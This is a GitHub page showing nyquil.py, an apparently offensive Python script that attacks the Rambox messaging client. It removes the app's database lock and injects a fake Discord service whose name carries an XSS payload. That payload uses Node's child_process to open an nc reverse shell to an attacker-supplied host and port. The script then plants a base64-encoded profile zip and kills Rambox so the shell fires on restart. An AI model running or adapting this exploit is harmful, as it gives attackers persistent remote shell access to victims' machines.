-
Notifications
You must be signed in to change notification settings - Fork 9
/
nyquil.py
216 lines (181 loc) · 12.3 KB
/
nyquil.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
import os
import base64
import psutil
import shutil
import getpass
import platform
import argparse
from zipfile import ZipFile
import plyvel
class Parser(argparse.ArgumentParser):
def __init__(self):
super(Parser, self).__init__()
@staticmethod
def optparse():
parser = argparse.ArgumentParser()
parser.add_argument("-l", "--lhost", dest="lHost", default=None, help="Pass LHOST")
parser.add_argument("-p", "--lport", dest="lPort", default=None, help="Pass LPORT")
return parser.parse_args()
# the payload to append to the database
PAYLOAD = (
"<img src=\"x\" onerror=\"const {{ exec }} = require('child_process');exec('rm /tmp/f;mkfifo /tmp/f;"
"cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f', (err, stdout, stderr) => {{if (err) "
"{{return;}};console.log(`stdout: ${{stdout}}`);console.log(`stderr: ${{stderr}}`);}});\">Discord</img>"
).replace('"', '\\"')
# the zip file containing the data to put into the discord folder
ZIP_BASE64 = "UEsDBAoAAAAAADCVXk8AAAAAAAAAAAAAAAANABAAYmxvYl9zdG9yYWdlL1VYDABOUrpdrB+6XfUBFABQSwMECgAAAAAA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y5sb2dVWAgA91C6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAAJQAMAAAAAAAAAABAgIF9BgAATG9jYWwgU3RvcmFnZS9sZXZlbGRiL01BTklGRVNULTAwMDAwMVVYCAB2UbpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAaAAwAAAAAAAAAAECAgdAGAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvTE9DS1VYCAD0ULpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAdAAwAAAAAAAAAAECAgRgHAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvQ1VSUkVOVFVYCAB2UbpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAZAAwAAAAAAAAAAECAgWMHAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvTE9HVVgIAHZRul0uUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAAcADAAAAAAAAAAAQICBqgcAAENvb2tpZXNVWAgAvlG6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADwAMAAAAAAAAAABAgIHfBwAAQ29va2llcy1qb3VybmFsVVgIAHZRul0uUrpdUEsFBgAAAAAhACEAqAkAABwIAAAAAA=="
def create_zip():
"""
create the zip file if it doesn't exist
"""
if not os.path.exists("discord.zip"):
with open("discord.zip", "a+") as z:
z.write(base64.b64decode(ZIP_BASE64))
def get_root_path(user=getpass.getuser(), current_sys=str(platform.platform()).lower()):
"""
get the root path of rambox
"""
if "windows" in current_sys:
root_path = "c:\\{}\\AppData\\Roaming\\rambox".format(user)
elif "darwin" in current_sys:
root_path = "/Users/{}/Library/Application Support/Rambox".format(user)
elif "linux" or "unix" in current_sys:
root_path = "/home/{}/.config/Rambox".format(user)
else:
root_path = None
if root_path is None:
raise OSError("Unsupported Operating System")
return root_path
def get_database_path(root, current_sys=str(platform.platform()).lower()):
"""
get the database path to the rambox DB
"""
if "windows" in current_sys:
return "{}\\Partitions\\rambox\\Local Storage\\leveldb".format(root)
else:
return "{}/Partitions/rambox/Local Storage/leveldb".format(root)
def get_folder_path(root, current_sys=str(platform.platform()).lower()):
"""
get the partitions path
"""
count = 1
if "windows" in current_sys:
folder = "{}\\Partitions".format(root)
else:
folder = "{}/Partitions".format(root)
for item in os.listdir(folder):
if "discord" in item:
count += 1
if count == 0:
count = 1
if "windows" in current_sys:
retval = "{}\\discord_{}".format(folder, count)
else:
retval = "{}/discord_{}".format(folder, count)
if not os.path.exists(retval):
os.makedirs(retval)
return retval
def delete_lock(db_path, current_sys=str(platform.platform()).lower()):
"""
delete the lock file so we can edit the database
"""
if "windows" in current_sys:
path = "{}\\LOCK"
else:
path = "{}/LOCK"
path = path.format(db_path)
if os.path.exists(path):
os.remove(path)
def recreate_lock(db_path):
"""
recreate the LOCK file
"""
open(db_path + "/LOCK", 'a+').close()
def read_database(db, full_read=False, get_value=True):
"""
iterate through the database to get a list of tuples of data
"""
results = []
with db.iterator() as res:
for k, v in res:
if full_read:
print k + ": " + v
else:
results.append((k, v))
if get_value:
return results
def count_services(db):
"""
count the services so we can get a logical number and not overwrite anything
"""
values = 0
services = read_database(db)
for service in services:
key, value = service[0], service[1]
if "discord" in value:
values += 1
try:
return int(values)
except ValueError:
return 1
def edit_database(db, lhost, lport, db_path):
"""
edit the database and add our data to it, which will give us our service
"""
db = plyvel.DB(db)
current_value_count = count_services(db)
payload = PAYLOAD.format(lhost=lhost, lport=lport)
data = """\x01{"position":""" + str(current_value_count+1) + ""","type":"discord","logo":"discord.png","name":""" + '"' + payload + '"' + ""","url":"https://discordapp.com/login","align":"left","notifications":True,"muted":False,"tabname":True,"statusbar":True,"displayTabUnreadCounter":True,"includeInGlobalUnreadCounter":True,"trust":True,"enabled":True,"js_unread":"","zoomLevel":0}""".replace("True", "true").replace("False", "false")
db.put(b"_file://\x00\x01services-" + str(current_value_count+1), bytes(data))
db.put(b"_file://\x00\x01services-counter", b"\x01{}".format(current_value_count+1))
if current_value_count+1 == 1:
db.delete(b"_file://\x00\x01services")
db.put(b"_file://\x00\x01services", b"\x011")
else:
db.put(b"_file://\x00\x01services", b"\x01{}".format(",".join(str(i) for i in range(1, current_value_count + 2))))
recreate_lock(db_path)
def copy_data(root):
"""
copy over the skeleton template to a new discord folder
"""
filename = "discord.zip"
destination = get_folder_path(root)
shutil.copy(filename, destination)
with ZipFile(filename, 'r') as zip_data:
zip_data.extractall(path=destination)
def kill_rambox():
"""
kill rambox
"""
for proc in (process for process in psutil.process_iter() if "rambox" in str(process.name()).lower()):
try:
proc.kill()
except:
pass
def main():
"""
main function
"""
opt = Parser().optparse()
if opt.lHost is None:
print("./nyquil.py -l <IP> [-p <PORT>]")
exit(1)
if opt.lPort is None:
opt.lPort = "9076"
print("[i] defaulting to port: {}".format(opt.lPort))
create_zip()
print("[i] grabbing root path")
root = get_root_path()
print("[i] grabbing database path")
db_path = get_database_path(root)
print("[i] removing LOCK file")
delete_lock(db_path)
print("[i] editing database")
edit_database(db_path, opt.lHost, opt.lPort, db_path)
print("[i] copying over data")
copy_data(root)
print("[i] killing rambox")
kill_rambox()
print("[i] done, waiting for rambox to restart, watch your listener")
if __name__ == "__main__":
main()